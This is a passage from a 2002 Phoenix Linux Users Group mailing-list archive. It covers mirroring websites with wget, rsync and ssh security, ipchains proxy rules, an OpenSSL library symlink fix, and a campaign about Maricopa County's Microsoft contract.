(MST) Subject: Saving a web site local In-Reply-To: <200206150937.14349.alandd@mindspring.com> Message-ID: Am 15. Jun, 2002 schwätzte Alan Dayley so: > I want to save a web page and all the pages it links to (about 2 deep) to my > local hard drive so I can browse it locally. I don't see this capability in > Konqueror or Mozilla. How do I do this? How about a tool that can run from cron to mirror a site *and* shove it into cvs? I want to be able to have a history and also not have to worry about a local update whacking the page if it's been removed from the original site. ciao, der.hans -- # https://www.LuftHans.com/ # You can't handle the source! - der.hans From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 17:54:19 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Sat, 15 Jun 2002 10:54:19 -0700 (MST) Subject: Possible Fry's sponsorship? In-Reply-To: <200206142215.23043.alandd@mindspring.com> Message-ID: Am 14. Jun, 2002 schwätzte Alan Dayley so: > use it. We could really use some refreshment donations like soda and stuff. SCC will be selling some food/drink from their food cart. It would be nice, though, to have a bunch of punch or tea or something and some plastic cups. ciao, der.hans -- # https://www.LuftHans.com/ # To announce that there must be no criticism of the President, or that we # are to stand by the President, right or wrong, is not only unpatriotic # and servile, but is morally treasonable to the American public. # -- Theodore Roosevelt, 1918 From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 18:10:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 15 Jun 2002 11:10:05 -0700 Subject: Saving a web site local In-Reply-To: <200206150937.14349.alandd@mindspring.com> References: <200206142215.23043.alandd@mindspring.com> <20020614211333.GA153@crystaldragon> <200206150937.14349.alandd@mindspring.com> Message-ID: <1024164605.9083.0.camel@barney.azapple.com> On Sat, 2002-06-15 at 09:37, Alan Dayley wrote: > I want to save a web page and all the pages it links to (about 2 deep) to my > local hard drive so I can browse it locally. I don't see this capability in > Konqueror or Mozilla. How do I do this? > --- I use wget - it's amazing man wget wget -r www.website.tld Craig From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 18:27:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Sat, 15 Jun 2002 14:27:50 -0400 Subject: Help Maricopa County Do the Right Thing References: <0206150802011X.08309@nova.wedge.org> Message-ID: <3D0B8726.590EDAA7@georgetoft.com> I just spent some time reading Maricopa County policies. Interesting references: MC1-101 DEFINITIONS 25."CONTRACTOR" means any Person who has a Contract with a County Governmental unit. For purposes of Article 5, Contractor may also mean Respondent as defined in this Article. 36."DEBARMENT" means an action taken by the County Administrative Officer under MC1-902 to prohibit a Person from Participating in Maricopa County Procurements. 80."PERSON" means any corporation, Business, individual, union, committee, club, other organization or group of individuals. 113."SUSPENSION" means an action taken by the County Administrative Officer under MC1-902 temporarily disqualifying a Person from participating in Maricopa County Procurements. http://maricopa.gov/materials/p-code/HTML_code/Code-01.htm [Microsoft is considered a Contractor and a Person. This is important below.] MC1-407 MAXIMUM PRACTICABLE COMPETITION All Specifications shall seek to promote overall economy for the purpose intended and encourage competition in satisfying Maricopa County's needs and shall not be unduly restrictive. http://maricopa.gov/materials/p-code/HTML_code/Code-04.htm#MC1-401 [Is there any technology that is Microsoft exclusive? I believe there are sites that explain how to replace Exchange Server completely using Linux/OSS; and SQL Server is replaceable with mySQL; IIS & ASP is replaceable with Apache & PHP, right?] MC1-902 DEBARMENT AND SUSPENSION OF CONTRACTORS B. The causes for Debarment or Suspension shall include, but are not limited to, the following: 2. Conviction of any Person or any subsidiary or affiliate of any Person under any statute of the Federal government, this State or its political subdivision or any other State for: k. Any other offense indicating a lack of business integrity or business honesty which affects responsibility as a Contractor. 3. Conviction or civil judgment finding a violation by any Person or any subsidiary or affiliate of any Person under State or Federal Antitrust Statutes. http://maricopa.gov/materials/p-code/HTML_code/Code-09.htm#MC1-901 [As I read MC1-902.B.3, Microsoft (a Person), having been convicted of a violation of Federal Antitrust Statues, cannot be a County Contractor.] I love policies :) George Jim wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > I have heard from a "reliable source" that the Maricopa County Council has > decided not to automatically sign off on having the county sign an Enterprise > Agreement with Microsoft. The source said that people within the county IT > organizations made their opinion known that the Enterprise Agreement might > not be the best path for the county to blindly follow. > > Since no decision has yet been made, I urge you to PLEASE PLEASE PLEASE > contact your Maricopa County district council person and your city council > people with some simple questions. > > a. Ask them if they plan to approve funding for the Enterprise Agreement with > the Microsoft Corporation? > > b. If they do plan to do so, ask them to provide you with a copy of the > agreement and the dollar amount to be expended. > > c. Ask them when they will be hearing from the public on the budget, so if > they are adopting an Enterprise Agreement with Microsoft, you can have your > voice heard publicly. > > d. Ask they why do they do business with a vendor that has been convicted of > felony wrongdoings. > . > e. Ask them if they have they considered alternatives to Microsoft products. > > I dont have city contact information but county contact information is as > follows: > > Map To Find Your Council Person > http://www.maricopa.gov/county_glance/maps.asp?link=districtMap > > Council Contact Email > Dist 1 Fulton Brock FBrock@mail.maricopa.gov > Dist 2 Don Stapley DStapley@mail.maricopa.gov > Dist 3 Andrew Kunasek AKunasek@mail.maricopa.gov > Dist 4 Max Wilson mwwilson@mail.maricopa.gov > Dist 5 Mary Rose Wilcox MrWilcox@mail.maricopa.gov > > Also I would cc: the County Administrator and Deputy County > Administrator > > CAO: David Smith DSmith@mail.maricopa.gov > DCA: Sandi Wilson Swilson@mail.maricopa.gov > - -- > Jim > > Freedom is worth protecting > -----BEGIN PGP SIGNATURE----- > Version: PGP 6.5.8 > > iQA/AwUBPQttsSsk3ywszI1FEQJWEACfTdfEFZA/9kUdBoYCPM2TFnpR9qQAoOfE > cWg2GbQ9y1u85/ycX+Ko2+ss > =GiK8 > -----END PGP SIGNATURE----- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 18:48:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Sat, 15 Jun 2002 11:48:07 -0700 Subject: Help Maricopa County Do the Right Thing References: <0206150802011X.08309@nova.wedge.org> <3D0B8726.590EDAA7@georgetoft.com> Message-ID: <3D0B8BE7.F04A55C9@leml.asu.edu> George Toft wrote: > > I just spent some time reading Maricopa County policies. Interesting > references: > > MC1-101 DEFINITIONS > 25."CONTRACTOR" means any Person who has a Contract with a County > Governmental unit. For purposes of Article 5, Contractor may also mean > Respondent as defined in this Article. > 36."DEBARMENT" means an action taken by the County Administrative > Officer under MC1-902 to prohibit a Person from Participating in > Maricopa County Procurements. > 80."PERSON" means any corporation, Business, individual, union, > committee, club, other organization or group of individuals. > 113."SUSPENSION" means an action taken by the County Administrative > Officer under MC1-902 temporarily disqualifying a Person from > participating in Maricopa County Procurements. > http://maricopa.gov/materials/p-code/HTML_code/Code-01.htm > > [Microsoft is considered a Contractor and a Person. This is important > below.] > > MC1-407 MAXIMUM PRACTICABLE COMPETITION > All Specifications shall seek to promote overall economy for the purpose > intended and encourage competition in satisfying Maricopa County's needs > and shall not be unduly restrictive. > http://maricopa.gov/materials/p-code/HTML_code/Code-04.htm#MC1-401 > > [Is there any technology that is Microsoft exclusive? I believe there > are sites that explain how to replace Exchange Server completely using > Linux/OSS; and SQL Server is replaceable with mySQL; IIS & ASP is > replaceable with Apache & PHP, right?] but isn't it the case that doing this violates M$'s enterprise agreement? > MC1-902 DEBARMENT AND SUSPENSION OF CONTRACTORS > B. The causes for Debarment or Suspension shall include, but are not > limited to, the following: > 2. Conviction of any Person or any subsidiary or affiliate of any Person > under any statute of the Federal government, this State or its political > subdivision or any other State for: > k. Any other offense indicating a lack of business integrity or business > honesty which affects responsibility as a Contractor. > 3. Conviction or civil judgment finding a violation by any Person or any > subsidiary or affiliate of any Person under State or Federal Antitrust > Statutes. > http://maricopa.gov/materials/p-code/HTML_code/Code-09.htm#MC1-901 > > [As I read MC1-902.B.3, Microsoft (a Person), having been convicted of a > violation of Federal Antitrust Statues, cannot be a County Contractor.] Oh my god! that's proceless. Imagine the look on the legal-begal's face when someone hit's the coptroler with that one... If you pass that little' gem on I would be most curious to hear the reply from the county... EBo -- From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 18:59:42 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Sat, 15 Jun 2002 11:59:42 -0700 (PDT) Subject: Help Maricopa County Do the Right Thing In-Reply-To: <0206150802011X.08309@nova.wedge.org> Message-ID: I wrote emails to everyone listed below. I encourage all of you to do the same. This is an important moment for us to positively affect computing in Maricopa County. Please write them and let them know you are concerned. Be polite and stress that there are excellent alternatives available. Go team, go! :-) ~M On Sat, 15 Jun 2002, Jim wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > I have heard from a "reliable source" that the Maricopa County Council has > decided not to automatically sign off on having the county sign an Enterprise > Agreement with Microsoft. The source said that people within the county IT > organizations made their opinion known that the Enterprise Agreement might > not be the best path for the county to blindly follow. > > Since no decision has yet been made, I urge you to PLEASE PLEASE PLEASE > contact your Maricopa County district council person and your city council > people with some simple questions. > > a. Ask them if they plan to approve funding for the Enterprise Agreement with > the Microsoft Corporation? > > b. If they do plan to do so, ask them to provide you with a copy of the > agreement and the dollar amount to be expended. > > c. Ask them when they will be hearing from the public on the budget, so if > they are adopting an Enterprise Agreement with Microsoft, you can have your > voice heard publicly. > > d. Ask they why do they do business with a vendor that has been convicted of > felony wrongdoings. > . > e. Ask them if they have they considered alternatives to Microsoft products. > > I dont have city contact information but county contact information is as > follows: > > Map To Find Your Council Person > http://www.maricopa.gov/county_glance/maps.asp?link=districtMap > > Council Contact Email > Dist 1 Fulton Brock FBrock@mail.maricopa.gov > Dist 2 Don Stapley DStapley@mail.maricopa.gov > Dist 3 Andrew Kunasek AKunasek@mail.maricopa.gov > Dist 4 Max Wilson mwwilson@mail.maricopa.gov > Dist 5 Mary Rose Wilcox MrWilcox@mail.maricopa.gov > > Also I would cc: the County Administrator and Deputy County > Administrator > > CAO: David Smith DSmith@mail.maricopa.gov > DCA: Sandi Wilson Swilson@mail.maricopa.gov > - -- > Jim > > Freedom is worth protecting > -----BEGIN PGP SIGNATURE----- > Version: PGP 6.5.8 > > iQA/AwUBPQttsSsk3ywszI1FEQJWEACfTdfEFZA/9kUdBoYCPM2TFnpR9qQAoOfE > cWg2GbQ9y1u85/ycX+Ko2+ss > =GiK8 > -----END PGP SIGNATURE----- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 18:58:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Sat, 15 Jun 2002 11:58:51 -0700 Subject: Saving a web site local In-Reply-To: <200206150937.14349.alandd@mindspring.com> References: <200206142215.23043.alandd@mindspring.com> <20020614211333.GA153@crystaldragon> <200206150937.14349.alandd@mindspring.com> Message-ID: <20020615115851.1623e680.derek@gnue.org> wget On Sat, 15 Jun 2002 09:37:14 -0700 Alan Dayley wrote: > I want to save a web page and all the pages it links to (about 2 deep) > to my local hard drive so I can browse it locally. I don't see this > capability in Konqueror or Mozilla. How do I do this? > > Alan > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 19:00:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Sat, 15 Jun 2002 12:00:53 -0700 Subject: Saving a web site local In-Reply-To: References: <200206150937.14349.alandd@mindspring.com> Message-ID: <20020615120053.49c33d98.derek@gnue.org> wget + cvs + cron or better yet work with the author of the site and use rysnc + cron + cvs -Derek On Sat, 15 Jun 2002 10:52:18 -0700 (MST) "der.hans" wrote: > Am 15. Jun, 2002 schwätzte Alan Dayley so: > > > I want to save a web page and all the pages it links to (about 2 > > deep) to my local hard drive so I can browse it locally. I don't > > see this capability in Konqueror or Mozilla. How do I do this? > > How about a tool that can run from cron to mirror a site *and* shove > it into cvs? > > I want to be able to have a history and also not have to worry about a > local update whacking the page if it's been removed from the original > site. > > ciao, > > der.hans > -- > # https://www.LuftHans.com/ > # You can't handle the source! - der.hans > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 08:16:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (j) Date: Sun, 16 Jun 2002 01:16:40 -0700 Subject: How to change font sized Message-ID: Where would I change the font size for my display. I am running Mandrake 8.1 The main thing is increasing the size of the letters on the screen so i can see them better. Changing the overall font size, would that also change the size of what I see in VI, emacs, and NEdit ? Thank you] Roger From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 20:20:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Sat, 15 Jun 2002 16:20:10 -0400 Subject: Saving a web site local References: <200206150937.14349.alandd@mindspring.com> <20020615120053.49c33d98.derek@gnue.org> Message-ID: <3D0BA17A.186E1C1B@georgetoft.com> Hmmm... I think running r* services on an Internet-facing server is about as appealing as playing Russian Roulette with a 9mm. I'm not sure you'll find too many people that will do either - at least not someone that reads SANS, CERT, or SecurityPortal. I agree that rsync is a really nifty tool, but is inappropriate for any network that is untrusted, i.e. the Internet. George Derek Neighbors wrote: > > wget + cvs + cron > > or better yet work with the author of the site and use rysnc + cron + > cvs > > -Derek > On Sat, 15 Jun 2002 10:52:18 -0700 (MST) > "der.hans" wrote: > > > Am 15. Jun, 2002 schwätzte Alan Dayley so: > > > > > I want to save a web page and all the pages it links to (about 2 > > > deep) to my local hard drive so I can browse it locally. I don't > > > see this capability in Konqueror or Mozilla. How do I do this? > > > > How about a tool that can run from cron to mirror a site *and* shove > > it into cvs? > > > > I want to be able to have a history and also not have to worry about a > > local update whacking the page if it's been removed from the original > > site. > > > > ciao, > > > > der.hans > > -- > > # https://www.LuftHans.com/ > > # You can't handle the source! - der.hans > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 20:29:23 2002 From: plug-discuss@lists.plug.phoenix.az.us (foodog) Date: Sat, 15 Jun 2002 13:29:23 -0700 Subject: KDE 3.0 "appfinder" Message-ID: <3D0BA3A3.4C8DCFE6@pop.phnx.uswest.net> With previous versions of KDE there was a thing called "appfinder" in the menu that'd search through the system and add applications to the K menu. Does anyone know how to get KDE 3.0 to do that? I've got Redhat 7.3 installed. Thanks much, Steve From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 21:05:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Sat, 15 Jun 2002 14:05:49 -0700 Subject: Saving a web site local In-Reply-To: <3D0BA17A.186E1C1B@georgetoft.com> References: <200206150937.14349.alandd@mindspring.com> <20020615120053.49c33d98.derek@gnue.org> <3D0BA17A.186E1C1B@georgetoft.com> Message-ID: <20020615140549.48475f22.derek@gnue.org> Maybe I have miscommunicated things here. I never said run rsync publicly. I meant have a private server use rsync via ssh to get at the Internet site. Certainly you run ssh on your servers to access them remotely? -derek On Sat, 15 Jun 2002 16:20:10 -0400 George Toft wrote: > Hmmm... I think running r* services on an Internet-facing server is > about > as appealing as playing Russian Roulette with a 9mm. I'm not sure > you'll > find too many people that will do either - at least not someone that > reads > SANS, CERT, or SecurityPortal. > > I agree that rsync is a really nifty tool, but is inappropriate for > any network that is untrusted, i.e. the Internet. > > George > > > Derek Neighbors wrote: > > > > wget + cvs + cron > > > > or better yet work with the author of the site and use rysnc + cron > > + cvs > > > > -Derek > > On Sat, 15 Jun 2002 10:52:18 -0700 (MST) > > "der.hans" wrote: > > > > > Am 15. Jun, 2002 schwätzte Alan Dayley so: > > > > > > > I want to save a web page and all the pages it links to (about 2 > > > > deep) to my local hard drive so I can browse it locally. I > > > > don't see this capability in Konqueror or Mozilla. How do I do > > > > this? > > > > > > How about a tool that can run from cron to mirror a site *and* > > > shove it into cvs? > > > > > > I want to be able to have a history and also not have to worry > > > about a local update whacking the page if it's been removed from > > > the original site. > > > > > > ciao, > > > > > > der.hans > > > -- > > > # https://www.LuftHans.com/ > > > # You can't handle the source! - der.hans > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > > doesn't post to the list quickly and you use Netscape to write > > > mail. > > > > > > PLUG-discuss mailing list - > > > PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 10:22:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (j) Date: Sun, 16 Jun 2002 03:22:51 -0700 Subject: How to change font sized In-Reply-To: References: Message-ID: Never mind, the brain finally started working again. Thanks On Sunday 16 June 2002 01:16, you wrote: > Where would I change the font size for my display. I am running Mandrake > 8.1 The main thing is increasing the size of the letters on the screen so i > can see them better. > > Changing the overall font size, would that also change the size of what I > see in VI, emacs, and NEdit ? > > Thank you] > > Roger > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 00:08:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Sat, 15 Jun 2002 20:08:47 -0400 Subject: Saving a web site local References: <200206150937.14349.alandd@mindspring.com> <20020615120053.49c33d98.derek@gnue.org> <3D0BA17A.186E1C1B@georgetoft.com> <20020615140549.48475f22.derek@gnue.org> Message-ID: <3D0BD70F.19E0EB16@georgetoft.com> I use a web hosting company that does not allow shell access. I have found that if you create a development environment that is identical to production, your need for shell access is not really necessary. For example, in my current job, every production problem I have had was reporducable in development. Fix the issue in dev, migrate to prod, and it's fixed. Yes, I have a dev web server running at home for my personal web site. I make it work here, then migrate to prod. I haven't had shell access in almost a year, and don't miss it. George Derek Neighbors wrote: > > Maybe I have miscommunicated things here. I never said run rsync > publicly. I meant have a private server use rsync via ssh to get at the > Internet site. Certainly you run ssh on your servers to access them > remotely? > > -derek > > On Sat, 15 Jun 2002 16:20:10 -0400 > George Toft wrote: > > > Hmmm... I think running r* services on an Internet-facing server is > > about > > as appealing as playing Russian Roulette with a 9mm. I'm not sure > > you'll > > find too many people that will do either - at least not someone that > > reads > > SANS, CERT, or SecurityPortal. > > > > I agree that rsync is a really nifty tool, but is inappropriate for > > any network that is untrusted, i.e. the Internet. > > > > George > > > > > > Derek Neighbors wrote: > > > > > > wget + cvs + cron > > > > > > or better yet work with the author of the site and use rysnc + cron > > > + cvs > > > > > > -Derek > > > On Sat, 15 Jun 2002 10:52:18 -0700 (MST) > > > "der.hans" wrote: > > > > > > > Am 15. Jun, 2002 schwätzte Alan Dayley so: > > > > > > > > > I want to save a web page and all the pages it links to (about 2 > > > > > deep) to my local hard drive so I can browse it locally. I > > > > > don't see this capability in Konqueror or Mozilla. How do I do > > > > > this? > > > > > > > > How about a tool that can run from cron to mirror a site *and* > > > > shove it into cvs? > > > > > > > > I want to be able to have a history and also not have to worry > > > > about a local update whacking the page if it's been removed from > > > > the original site. > > > > > > > > ciao, > > > > > > > > der.hans > > > > -- > > > > # https://www.LuftHans.com/ > > > > # You can't handle the source! - der.hans > > > > > > > > ________________________________________________ > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > > > doesn't post to the list quickly and you use Netscape to write > > > > mail. > > > > > > > > PLUG-discuss mailing list - > > > > PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > > doesn't post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 00:25:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Sat, 15 Jun 2002 17:25:27 -0700 (MST) Subject: Saving a web site local In-Reply-To: <20020615120053.49c33d98.derek@gnue.org> Message-ID: Am 15. Jun, 2002 schwätzte Derek Neighbors so: > wget + cvs + cron > > or better yet work with the author of the site and use rysnc + cron + > cvs Yeah, yeah. You command line junkies! :) I do want a few features like turning on and off notification upon changes. I'd also like the ability to expressly ban certain sites from the archive, e.g. ads. It would be outstanding to make the differences notification be only dependent on part of the page, e.g. the actual content. I thought I'd seen projects for this, but didn't find anything in the debian packages, but I remembered you can now search for multiple words on FreshMeat and found HTMLArchive. Hmm, doesn't quite look like what I want, but I think I can convince it to do what I want and it provides something else I've been wanting... ciao, der.hans -- # https://www.LuftHans.com/ # Magic is science unexplained. - der.hans From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 01:35:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Sundar Narayanasamy) Date: Sat, 15 Jun 2002 18:35:47 -0700 (MST) Subject: =?iso-8859-1?Q?ipchains_redirecting?= Message-ID: <1511.66.1.195.230.1024191347.squirrel@www.esaravana.com> Hello, I want to force the users on my network to go through my proxy server. What are the ipchains rules I should add. I am using Redhat 7.2 and squid proxy. Cheers! Sundar From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 01:36:03 2002 From: plug-discuss@lists.plug.phoenix.az.us (Adrian Mink) Date: Sat, 15 Jun 2002 18:36:03 -0700 Subject: Dependency Problems Message-ID: <026e01c214d6$2df0d530$0401a8c0@minkland.com> Hello, I am having a problem I hope someone can help with. I am trying to install sslwrap and keep getting the following dependency errors. [root@linux work]# rpm --install sslwrap-2.0.5-3.i386.rpm error: failed dependencies: libcrypto.so.0 is needed by sslwrap-2.0.5-3 libssl.so.0 is needed by sslwrap-2.0.5-3 Now, openssl is installed and verified. The results of rpm -qa | grep openssl show that both openssl and openssl-devel 0.9.6b-18 are installed. Now, I have noticed that openssl does not seem to install libcrypto.so.0 and libssl.so.0, but it adds the version number to the end of the files. So I actually have libcrypto.so.0.9.6b, etc. Could this be my issue? Can someone tell me how to fix it? Thanks! Adrian From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 01:53:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 15 Jun 2002 18:53:37 -0700 Subject: ipchains redirecting In-Reply-To: <1511.66.1.195.230.1024191347.squirrel@www.esaravana.com> References: <1511.66.1.195.230.1024191347.squirrel@www.esaravana.com> Message-ID: <1024192417.14414.7.camel@barney.azapple.com> specifically reject everything on the internal interface except for that you want to all (your proxy server) /sbin/ipchains -A input -j ACCEPT -i $INTIF -p tcp -s 0.0.0.0/0 -d \ $INTIP proxy_server_port /sbin/ipchains -A input -j REJECT -i $INTIF -s 0.0.0.0/0 -d \ $INTIP RH 7.2, you should be using iptables instead of ipchains. it's a 2.4 kernel. Craig On Sat, 2002-06-15 at 18:35, Sundar Narayanasamy wrote: > Hello, > > I want to force the users on my network to go through my proxy server. What > are the ipchains rules I should add. > > I am using Redhat 7.2 and squid proxy. > > Cheers! > Sundar > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 02:06:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mario Hines) Date: Sat, 15 Jun 2002 19:06:55 -0700 (PDT) Subject: Error on the Installation of Mandrake 8.2 Message-ID: <20020616020655.89129.qmail@web20605.mail.yahoo.com> The name is Mario. New to the discussion list and new to Phoenix. I'm having a problem with installing Mandrake 8.2 on my Laptop. I have a ProStar 5190S. I have Mandrake 7.2 on it and it works perfectly. The error that comes up during installation is: "Kernel Panic:VFS: Can't mount the device 01:03." I'm not exactly sure what that means, but I kinda bypassed that problem by just going into Mandrake and doing a live update, then I run in this error message: "Can't open /var/lib/rpm/Packages." I check in that section of my tree, . . . didn't have a Packages directory. I also tried another way with the rpm's, but those had signature errors. So, please, tell me if it's the CD or is it my system. Cause I have NO clue of what to do now. Thanks. -Mario __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 02:17:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Emerson) Date: Sat, 15 Jun 2002 19:17:55 -0700 (MST) Subject: Dependency Problems In-Reply-To: <026e01c214d6$2df0d530$0401a8c0@minkland.com> Message-ID: Adrian, I'm dimly remembering this from a few months ago. I think that it was just a matter of adding an appropriately named symbolic link to libcrypto.so.0.9.6b Something like this (as the root user): cd /lib ln -s libcrypto.so.0.9.6b libcrypto.so.0 In case this doesn't work out, keep a log of what you did so you can back out changes to stuff in thie /lib directory. Careful what you do in /lib, a goof here will render your system in need of repair... Do this: cd /lib ls -l libssl* ls -l libcrypto* and post the results back to the list, maybe that'll jog some memories? - tom e. On Sat, 15 Jun 2002, Adrian Mink wrote: Hello, I am having a problem I hope someone can help with. I am trying to install sslwrap and keep getting the following dependency errors. [root@linux work]# rpm --install sslwrap-2.0.5-3.i386.rpm error: failed dependencies: libcrypto.so.0 is needed by sslwrap-2.0.5-3 libssl.so.0 is needed by sslwrap-2.0.5-3 Now, openssl is installed and verified. The results of rpm -qa | grep openssl show that both openssl and openssl-devel 0.9.6b-18 are installed. Now, I have noticed that openssl does not seem to install libcrypto.so.0 and libssl.so.0, but it adds the version number to the end of the files. So I actually have libcrypto.so.0.9.6b, etc. Could this be my issue? Can someone tell me how to fix it? Thanks! Adrian ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 02:59:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (Gary Nichols) Date: 15 Jun 2002 19:59:44 -0700 Subject: Saving a web site local In-Reply-To: <20020615140549.48475f22.derek@gnue.org> References: <200206150937.14349.alandd@mindspring.com> <20020615120053.49c33d98.derek@gnue.org> <3D0BA17A.186E1C1B@georgetoft.com> <20020615140549.48475f22.derek@gnue.org> Message-ID: <1024196385.31159.4.camel@localhost.localdomain> You have the right idea Derek - go for it. Ssh is just like any service - keep up to date on the patches and you're at a reduced risk. I would argue that just because you don't have shell access doesn't make the server any safer. *cough* wu-ftpd *cough* buffer overflow *cough* On Sat, 2002-06-15 at 14:05, Derek Neighbors wrote: > Maybe I have miscommunicated things here. I never said run rsync > publicly. I meant have a private server use rsync via ssh to get at the > Internet site. Certainly you run ssh on your servers to access them > remotely? From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 03:13:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Sat, 15 Jun 2002 23:13:39 -0400 Subject: Saving a web site local References: <200206150937.14349.alandd@mindspring.com> <20020615120053.49c33d98.derek@gnue.org> <3D0BA17A.186E1C1B@georgetoft.com> <20020615140549.48475f22.derek@gnue.org> <1024196385.31159.4.camel@localhost.localdomain> Message-ID: <3D0C0263.94F9BA0B@georgetoft.com> Gary Nichols wrote: > > You have the right idea Derek - go for it. > > Ssh is just like any service - keep up to date on the patches and you're > at a reduced risk. > > I would argue that just because you don't have shell access doesn't make > the server any safer. *cough* wu-ftpd *cough* buffer overflow *cough* I agree - just because I don't have it doesn't 